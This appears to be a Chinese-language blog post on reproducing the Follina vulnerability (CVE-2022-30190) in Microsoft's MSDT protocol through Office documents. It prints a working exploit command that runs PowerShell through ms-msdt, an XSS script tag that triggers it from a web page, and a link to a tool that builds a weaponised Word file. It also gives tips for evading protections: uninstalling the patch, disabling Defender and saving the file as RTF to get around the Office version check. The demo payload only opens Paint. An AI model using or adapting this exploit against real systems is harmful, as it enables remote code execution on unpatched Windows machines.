CVE-2022-30190

虽迟但到

刚起床,然后有事,就看了下这个洞,几天前就看见过这个洞了,但是我是个废物就懒的弄。

漏洞原理

首先说一下自己对这个洞的理解,这个洞的本质就是msdt过滤的问题,导致msdt协议可以执行powershell代码。

但是这个洞为什么个Office能关联上呢?

因为Office在打开docx的时候可以加载一个web网页,然后web网页就能调用msdt协议,问题的关键就在于旧版本的Office在调用msdt协议的时候默认同意,而新版本则不同意,然后msdt绕过过滤就能执行powershell了。旧版本的Office应该是2013到2021 ltsc以下的,我用的2016复现成功,2021 pro plus则不行。

其实也不需要配合Office,浏览器就行,只不过需要手动点一下同意调用,这里可以直接利用xss,嘿嘿嘿。

漏洞代码

https://paper.seebug.org/1913/

Exp:

C:\Windows\system32\msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=fff$(IEX('mspaint.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe "

一看这个exp就是为了绕过某种限制。

$appName = [System.IO.Path]::GetFileNameWithoutExtension($selectedProgram).Replace("$", "$")	//没修复的
$appName = [System.IO.Path]::GetFileNameWithoutExtension($selectedProgram).Replace("`$", "``$")	//修复过的

可以利用github这个项目快速生成一个exp word文件

https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed

漏洞测试

直接cmd运行一下这个

C:\Windows\system32\msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=fff$(IEX('mspaint.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe "

如果能弹出画图就成功了,不能就是狗拦了或者系统打补丁了,Office也更不可能利用成功。

Office测试

如果打开的时候有请求记录但是没弹出计算器那就是Office版本问题(cmd能执行成功的情况下)。

OK

漏洞环境

Office:2013-2021ltsc(大概是)

Windows:卸载6月补丁,忘记kb号了,自己看看吧。关闭Defender,或者回退旧版本。

差不多就这样。

一些发现

可以直接配合xss,点击即上线。

<script>
    location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=fff$(IEX('mspaint.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>

擦不知道为啥没成功,以后再试试吧,Google了也没看见,按道理说应该可以的。。。

感觉这个很难绕过,因为本质上我感觉是个逻辑漏洞,或许可以试试其他协议。

漏洞绕过

将生成的docx文件另存为rtf即可绕过Office版本限制。